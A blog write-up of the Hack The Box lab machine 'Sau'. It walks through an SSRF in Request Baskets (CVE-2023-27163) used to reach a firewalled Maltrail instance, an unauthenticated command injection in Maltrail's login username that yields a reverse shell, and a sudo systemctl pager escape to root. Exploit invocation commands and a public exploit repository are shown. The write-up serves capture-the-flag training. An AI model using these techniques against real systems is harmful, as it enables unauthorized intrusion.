Hack the Box - SAU
- BlueDolphin
- 17 hours ago
- 5 min read
Official Synopsis
`Sau` is an Easy Difficulty Linux machine that features a `Request Baskets` instance that is vulnerable to Server-Side Request Forgery (SSRF) via `[CVE-2023-27163](https://nvd.nist.gov/vuln/detail/CVE-2023-27163)`. Leveraging the vulnerability we are to gain access to a `Maltrail` instance that is vulnerable to Unauthenticated OS Command Injection, which allows us to gain a reverse shell on the machine as `puma`. A `sudo` misconfiguration is then exploited to gain a `root` shell.
Engagement Flow
Tools used
nmap
linpeas
whatweb
python
Tactics/Techniques
Firewall bypass
Command injection
Sudo run as abuse
References
Summary
1) Enumeration - Host
Port 22 - ssh
Port 80 - http (Filtered)
Port - 55555 (Unknown)
2 ) Enumeration - Web Application
Webapp is hosting request baskets on port 55555
HTTP Port 80 is closed/filtered
Legacy version 1.2.1
No authentication required
3) Firewall bypass
CVE-2023-27163
Bypass firewall
Interact with PORT 80 which is internal only
Identify internal app MalTrail
4) Horizontal Movement
Research MalTrail
Identify known exploit https://github.com/spookier/Maltrail-v0.53-Exploit
Modify POC
Establish reverse shell
5) Privilege Escalation
Local enumeration with linpeas
Identify Sudo run as permissions
Call historical bash command from inside maltrail service.
Capture root flag.
1.) Enumeration Host
Our surface area consists of 3 ports, but it is only port 80 and 55555 that will draw our attention since port 22 is rarely exploited directly. While port 80 is filtered/closed we can see that port 55555 is open and has web headers suggesting this is a web application. I have seen this before in engagements, where certain ports are filtered and restricted to only internal access with a firewall at the perimeter. The way around this, is to exploit another web application on the server, and route requests to the port internally, to bypass a perimeter or north-south firewall.
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
80/tcp FILTERED http
55555/tcp open unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| X-Content-Type-Options: nosniff
| Date: Wed, 12 Nov 2025 20:52:51 GMT
| Content-Length: 75
| invalid basket name; the name does not match pattern: ^[wd-_\.]{1,250}$
2.) Enumeration Web Application
Before looking at the website we can leverage the tool "whatweb" which will gather valuable information about the application infrastructure. This can save considerable amounts of time and allow us to understand the underlying technologies of the web application.
In short our stack consists of the following:
Request Baskets
Bootstrap 3.3.7
HTML5
Jquery 3.2.1
The Landing Page
Request Baskets is a web service to collect HTTP requests and inspect them via RESTful API or simple web UI.
Why would someone use request baskets?
Request baskets are often used to test webhooks, client side rest API's, and to enable developers to monitor incoming requests for debugging or validating integrations.
Image - Landing page for sau.htb
Finding something interactive is often the next step
Our web application allows us to create basket's to collect and inspect HTTP requests. My initial thought process here was driven from the fact the port 80 is present but filtered. This gave me a hunch that we somehow had to leverage this service to target http over port 80.
While I played around with the application, I was originally able to change the settings and proxy the request locally, but I couldn't seem to replicate the attack after the first round. This was frustrating and I took the lazy path and used a public CVE to make this repeatable.
Image - Web application basket creation
3.) Firewall bypass
Having failed to re-create the attack manually in which we configure the request to proxy through burp and forward our requests locally to the filtered port 80. I was quickly able to ascertain a valid vulnerability by researching "Request Basket version 1.2.1" The reason this is quickly determined is there are very few CVE's related to Basket Requests version 1.2.1.
CVE-2023-27163 - Payload source code below
Download the CVE
Run the CVE
./CVE-2023-27163.sh http://target_IP:55555 http://127.0.0.1:80
Image - CVE
While I could not repeat this attack manually, I had to fall back on the CVE source in order to successfully re-create the Cross Site Request Forgery attack resulting in the ability to browse to port 80 which is presumably behind a firewall and accessible to local hosts only. (Probably just IP tables, lets be honest)
Image - Viewing port 80
Image - Web app running on port 80
Maltrail is an open-source malicious traffic detection system designed to identify suspicious or malicious network activity by checking traffic against publicly available blacklists and static lists compiled from antivirus reports and user-defined sources.
4.) Horizontal movement
Having gained access via SSRF to bypass firewall rules, we gained access to port 80 which initially appeared as filtered. Looking around online we can quickly ascertain there is a simple CVE for this exact version '53'. This is fantastic as I had no idea how to exploit this app. https://github.com/spookier/Maltrail-v0.53-Exploit
How does this exploit work?
In Mailtrail v0.53 the username parameter of the login page doesn't properly sanitize user input. The user parameter is processed by the subprocess.check_output() function to pass the uername as a shell command. This allows for escaping the user input by using a semicolon which is normally used to separate commands much like a pipe character. However in this case, the function treats everything after the semicolon as a separate command.
While we could exploit this manually by proxying the request in burp suite and writing a bash payload encoded in base 64, I just opted to use the CVE.
CVE Reference - https://github.com/spookier/Maltrail-v0.53-Exploit
python3 exployt.py 10.10.14.52 6363 http://10.129.229.26:55555
Image - Reverse shell from maltrail CVE
5.) Privilege Escalation to root
This was a give me with the old sudo run as permissions saving me tons of time on internally enumeration. We can see that our user account can run trail.service from the systemctl absolute path as root. The attack surface here is to launch this service from command line and see if we can have it somehow have it interact with the host as sudo.
Image - Sudo run as commands
Opening up the service immediately realized some juicy information displaying that this service was passing the shell command to the host. However I couldn't seem to run the shell command.
Image - Reviewing the Maltrail service upon launch and seeing command history
Eventually, after an embarrassing amount of time passed, I tried calling commands from the bash history specific to this service using the exclamation mark, which is common in bash to use previously used commands. Sure enough, when I passed !sh it called the historically command for shell. I couldn't even believe it, here the service spawned a bash shell for me with sudo, and the shell inherited those permissions giving me root.
Image - Wow that was lucky
THE END
Comments